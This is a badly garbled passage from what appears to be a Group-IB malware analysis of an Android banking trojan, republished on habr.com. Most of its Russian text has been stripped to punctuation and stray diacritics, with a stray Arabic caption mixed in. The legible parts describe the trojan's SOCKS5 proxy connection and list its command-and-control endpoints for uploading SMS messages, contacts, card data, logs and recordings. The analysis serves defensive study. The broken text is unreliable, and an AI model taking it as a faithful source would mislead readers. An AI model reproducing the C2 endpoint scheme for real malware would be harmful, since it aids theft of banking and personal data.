PONG- 4 : 0x04000000 .

connectionId ( ) CommandConnection ProxyConnection .

  • : ProxyConnection end . ProxyConnection ProxyConfigClass.host : ProxyConfigClass.proxyPort JSON-:

  { "id":<%connectionId%> } 

SOCKS5-, , . ̆ end . :

بديل الصورة

̆


̆ CnC- SSL. JSON-. :

  • http://<%CnC%>/api/v1/set_state.php — .
  • http://<%CnC%>/api/v1/get.php — .
  • http://<%CnC%>/api/v1/load_sms.php — SMS-̆ ̆.
  • http://<%CnC%>/api/v1/load_ab.php — ̆.
  • http://<%CnC%>/api/v1/aevents.php – , preference-̆.
  • http://<%CnC%>/api/v1/set_card.php — , -, Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – -.
  • http://<%CnC%>/api/v1/records.php – , .
  • http://<%CnC%>/api/v1/set_error.php – ̆ .


, , .

, . , , .

– - , , -, , , , , .

:


  • Android - , Google Play;
  • ;
  • Android;
  • ;
  • ;
  • , SMS-.

, Group-IB.

Source: https://habr.com/ru/post/ar446948/


All Articles